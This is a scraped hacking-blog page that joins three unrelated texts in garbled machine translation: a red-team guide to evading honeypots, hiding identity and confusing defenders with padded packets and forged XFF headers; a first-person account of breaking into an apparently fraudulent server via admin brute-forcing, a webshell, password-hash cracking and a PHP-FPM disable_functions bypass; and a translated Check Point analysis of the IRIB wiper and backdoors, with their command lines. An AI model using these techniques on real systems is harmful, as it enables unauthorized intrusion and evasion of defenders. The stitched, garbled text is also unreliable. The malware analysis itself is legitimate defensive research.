Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863107047

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト:

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル:すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)

image-20201009113709670

image-20201009112952911

n11lo5jfmu21219.png

この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA:

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

要約

最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集

baota Backstage

最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。

cmd-change-baota-password

cmd-baota-backup-user

ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:

front-baota-home

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

front-baota-lookup-phone-elements

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

wechat-baota-phone

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点

将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

front-user-login

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。

front-user-home-1

front-user-home-2

front-user-home-3

脆弱性マイニング

ポートサービス

=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

front-https-cert

次に、ドメイン名を分析します。

cmd-nslookup-domain

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。

次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

cmd-enum-subdomain

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

nmap-normal-scan

私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

nmap-all-port-scan

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。

cmd-ssh-login

front-bt-login

パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。

バックエンドディレクトリ

ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。

front-admin-login-jump

front-admin-login

win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

cmd-wfuzz-admin-login

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。

front-admin-user-withdraw

front-admin-risk-control

撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。

webshellを取得

私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

front-backdoor-phpinfo

再び剣を描く時が来ました:

ant-file-site-root

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。

ant-file-more-sites

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

ant-file-passwd

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。

システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。

ant-file-pma-path

front-pma-login

アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:

front-pma-home

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:

front-pma-databases

front-pma-admin-pass-hash

テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:

front-pma-admin-pass-text

実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。

小さなエピソード

ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。

disable_functionsバイパス

私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

ant-shell-error

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。

実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。

ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。

ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。

1645248957185071.png

在過去的幾個月裡,伊朗遭遇了新一輪的網絡攻擊。這些攻擊不僅僅是對網站進行攻擊那麼簡單,這輪攻擊正在對伊朗的國家基礎設施持續進行攻擊,並造成了重大破壞。

本文對2022 年1 月下旬發生的針對伊朗國家媒體公司——伊朗伊斯蘭共和國廣播公司(IRIB) 的攻擊進行了深入分析。

情況介紹1 月27 日,伊朗國家廣播公司IRIB 被攻擊,導致多個國營電視頻道播放反對派領導人的鏡頭,並呼籲暗殺最高領導人。 Check Point 研究團隊調查了這次攻擊,並能夠從公開可用的資源中檢索與該事件相關的文件和取證證據。

我們發現了旨在傳播抗議信息的惡意可執行文件,此外,我們還發現了使用擦除惡意軟件痕蹟的證據。這表明攻擊者的目的也是為了破壞國家的廣播網絡,對電視和廣播網絡的破壞可能比官方報導的更嚴重。

在攻擊中使用的工具中,我們發現了對受害者屏幕進行截圖的惡意軟件、幾個自定義的後門,以及用於安裝和配置惡意可執行文件的相關批處理腳本和配置文件。我們找不到任何證據表明這些工具以前被使用過,或者將它們歸因於特定的攻擊者。

在本文中,我們對與攻擊相關的工具以及攻擊者使用的策略進行了技術分析。

早在2021 年7 月,伊朗國家鐵路和貨運服務就遭到過攻擊,攻擊者對火車運行進行了攻擊。僅僅一天后,媒體報導稱,負責交通的伊朗道路和城市發展部的網站因“網絡中斷”而被關閉,用戶無法訪問其官方門戶和子服務。此後,網絡攻擊就開始持續攻擊伊朗國家實體,似乎每個目標都經過精心挑選的。 2021 年8 月,黑客組織Tapandegan發布了來自德黑蘭監獄的埃文監獄的鏡頭畫面,該監獄關押了許多政治犯。 2021 年10 月,伊朗的加油站因電子支付系統被攻擊而癱瘓。該事件導致加油站排了兩天的隊,客戶無法使用政府發行的用於購買補貼燃料的電子卡付款。刷卡付款時,最高領導人辦公室的電話號碼出現在屏幕上。

2021 年11 月,伊朗航空公司Mahan Air 宣布挫敗了對其內部系統的未遂攻擊,沒有造成任何傷害。奇怪的是,這一次一個名為“Hooshyaran-e Vatan”(國家警衛隊)的組織聲稱對此負責,並在接下來的兩個月中公佈了據稱在黑客攻擊中被盜的文。

2022 年2 月7 日,Edalat-e Ali 組織公佈了伊朗另一所監獄Ghezel Hesar的監控錄像。

1.jpeg

1 月27 日,有報導稱伊朗國家廣播公司IRIB 遭到黑客攻擊。伊朗伊斯蘭共和國廣播公司,也被稱為“伊朗伊斯蘭共和國的聲音和願景”,是一家國有壟斷企業,負責伊朗的所有廣播和電視服務。網絡攻擊導致國營電視頻道都在播放該國的政治反對派組織。

在被劫持的視頻中,出現了反對派組織領導人Maryam 和Masoud Rajavi 的面孔。 IRIB 技術事務副負責人Reza Alidadi 表示,“只有公司使用技術的所有者才能根據系統上安裝的系統功能和被利用的後門進行攻擊的。”類似的攻擊已經攻擊了其他國家運營的廣播頻道。

2 月1 日,IRIB 的網絡流媒體平台Telewebion 再次被劫持,播放抗議信息。這一次,對針對監獄安全攝像頭的攻擊負責的具有政治動機的組織Edalat-e Ali 聲稱對此負責。這種說法是有道理的,因為黑客攻擊期間的視頻廣播在左上角顯示了該組織的徽標。

技術分析根據伊朗國家新聞網絡Akharin Khabar稱,“技術和廣播系統是完全隔離的,它們配備了可接受的安全協議,無法通過互聯網訪問。”伊朗官員稱這次攻擊“極其複雜”。

目前還不清楚攻擊者是如何進入這些網絡的。我們只能檢索到與這些攻擊的後期階段有關的文件,這些文件有:

建立後門及其持久性;

啟動“惡意”視頻或音頻軌道;

安裝wiper惡意軟件以試圖破壞被黑網絡中的操作;

所有這些示例都從多個來源上傳到VirusTotal (VT),主要使用伊朗IP,並包括安裝或啟動有效負載的短批處理腳本、Windows 事件日誌文件或內存轉儲等幾個取證工件,以及有效負載本身。後者主要是.NET 可執行文件,沒有混淆,但帶有時間戳的未來編譯日期。除了具有相同的語言和相同的VT 提交者之外,這些文件還具有其他相似之處,例如PDB 路徑、常用命令、名稱、代碼重用和通用編碼風格。

劫持廣播信號從用於中斷電視流並作為TSE_90E11.mp4 上傳到VT 的MP4 視頻文件中,我們能夠轉向與廣播劫持相關的其他工件,這些工件據稱運行在播放電視節目播出的服務器上。為了播放視頻文件,攻擊者使用了一個名為SimplePlayout.exe 的程序,這是一個基於.NET 的可執行文件,在調試模式下編譯,PDB 路徑為c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb。該可執行文件只有一個功能:通過Medialooks使用. net MPlatform SDK循環播放視頻文件。

2.png

首先,SimplePlayout程序尋找一個名為SimplePlayout.ini的配置文件,該配置文件包含兩行:視頻文件路徑和表示視頻格式的數字。相應的SimplePlayout.ini文件與SimplePlayout一起上傳的值對應於位於c: windows\temp\TSE_90E11.mp4的MP4文件和HD 1080i的視頻格式,刷新率為50 Hz。

為了阻止已經播放的視頻流,攻擊者使用了一個名為playjfalcfgcdq.bat 的批處理腳本。它會阻止正在運行的進程並刪除TFI Arista Playout Server 的可執行文件,這是一種已知IRIB 用於廣播的軟件,隨後卸載Matrox DSX 驅動程序,這是虛擬廣播基礎設施中用於媒體處理的軟件的一部分。

為了組合所有的惡意組件,另一個腳本layoutabcpxtveni.bat做了以下幾件事:

將位於c:\windows\temp\TSE_90E11.003 的MP4 視頻文件重命名為TSE_90E11.mp4。這個文件可能是通過某個後門釋放到那裡的,我們稍後會討論這個問題。

阻止QTV.CG. server .exe(可能是Autocue QTV廣播軟件的一部分)的運行進程,並用SimplePlayout(攻擊者用來播放視頻的工具)覆蓋位於D: CG 1400\QTV.CG. server .exe的原始服務器。

將c:\windows\SimplePlayout.exe拷貝到QTV.CG.Server.exe所在目錄下的SimplePlayout.ini。至少這個批處理腳本示例包含一個拼寫錯誤,因為攻擊者可能打算將SimplePlayout.ini複製到惡意可執行文件附近。

從初始位置和替換位置運行SimplePlayout.exe。

在我們發現的另一組相關工件中,攻擊者利用了包含名為TSE_90E11.001 的25 秒音軌的WAV 文件,類似於被劫持的電視流中使用的MP4 文件的文件名。一個名為Avar.exe 的可執行文件基於NAudio,一個開源的.NET 音頻庫,負責播放WAV 文件。與SimplePlayout.exe 不同,Avar.exe 不依賴於配置文件。相反,它包含硬編碼為C:\windows\temp\TSE_90E11.001 的WAV 文件的路徑。執行後,Avar.exe 會嘗試枚舉所有活動的音頻設備並在每個設備上播放WAV 文件。

最後,一個名為avapweiguyyyy .bat的批處理腳本將這些組件組合在一起。它阻止一個名為Avar.exe的進程,並在C:\ProgramFiles\MIT\AVA\ava.exe中用Avar.exe替換可執行文件。在文件和文件夾中使用的名字Ava可能表明這些文件是為IRIB的Ava電台準備的,儘管它也受到了這次攻擊的影響,這一事實尚未得到官方證實。

wiper我們發現了兩個相同的.NET 示例,名為msdskint.exe,其主要目的是擦除計算機的文件、驅動器和MBR,這也可以從PDB 路徑推導出:C:\work\wiper\Wiper\obj\Release\Wiper.pdb。此外,該惡意軟件還能夠清除Windows 事件日誌、刪除備份、終止進程、更改用戶密碼等。兩個示例均由相同的提交者在與先前討論的工件相同的時間範圍內上傳到VT。

3.png

wiper有三種模式來破壞文件,並用隨機值填充字節:

Default-覆蓋文件中每個1024 字節塊的前200 字節;

light-wipe-覆蓋配置中指定的多個塊;

full_purge-覆蓋整個文件內容;

wiper通過以下方式之一獲取擦除過程的配置:在命令行參數中,或從文件code meciwipe.ini /code 中的硬編碼默認配置和排除列表中獲取。默認配置包含一個與Windows操作系統和Kaspersky 和Symantec 安全產品相關的預定義排除列表,這些產品在伊朗被廣泛使用:

4.png

如果惡意軟件沒有參數,它將作為一個名為“Service1”的服務運行。

主要的wiper函數會計算每個參數的FNV1A32哈希並使用它來確定接下來的行為:

5.png

DestroyMBR標誌使惡意軟件可以通過寫入一個硬編碼的base64編碼的二進製文件precg.exe,然後運行它來擦除MBR。 precg.exe 是一個基於Gh0stRAT MBR wiper的MBRKiller。

擦除過程從搜索最後一個被擦除的文件開始,惡意軟件將其路徑寫入名為lastfile 的文件(或在wipe_stage_2 的情況下為lastfile2)。然後,檢查每個文件以查看它是否被排除或其擴展名不在預定義列表中:

6.png

full_purge模式覆蓋文件的所有字節,對於來自的purge_extensions列表的文件總是啟用:

7.png

如果啟用了delete_files 標誌,則wiper還會在覆蓋文件後刪除它們。

我們發現了與wiper示例一起提交的其他取證工件,證明wiper確實是在電視環境中執行的:

lastfile2 包含最後一個擦除文件的路徑:C:\users\tpa\videos\captures\desktop.ini。僅當wiper以wipe_stage_2模式運行時,才會創建此文件,該模式會在wiper過程之後刪除文件。

breakusufjkjdil.bat 文件,顯示至少一個wiper實例應該運行以終止現有用戶會話並更改所有用戶的密碼:'c:\windows\temp\msdskint.exe' -break-users * -sessi。

事件查看器應用程序日誌文件顯示與擦除服務Service1 相關的事件。日誌包含攻擊後幾個小時的時間戳:

8.png

後門WinScreeny此工具的名稱來自PDB 路徑:C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb。該後門的主要目的是對受害者的計算機進行截屏。我們找到了這個後門的兩個示例:第一個是上傳到VT的發布版本,名為mslicval.exe,第二個是名為precg2.exe的調試版本。不用說,這些文件和我們發現的其他工件一起提交給了VT。

根據命令行參數,後門可以以不同的方式運行:

None-運行一個SimpleTCPServer 偵聽端口18000。

Service-作為名為Service1 的服務運行。啟動時,該服務使用以下命令創建計劃任務: schtasks /create /TN \'Microsoft\\Windows\\.NET Framework\\.NETASM\'/TR \” file_path \' /ST current_time + 1:10 /SC ONCE /F。

Setup-嘗試使用LsaAddAccountRights API 函數獲取權限,然後將自身作為服務運行。

惡意軟件在端口18000 上偵聽數據包,並且對於每個數據包,它會檢查消息是否包含使用POST 方法發送的scr=命令。如果滿足這些條件,惡意軟件會將屏幕截圖保存到名為screeny- timestamp .png 的文件中,如果成功,則會向攻擊者返回“完成”消息。

9.png

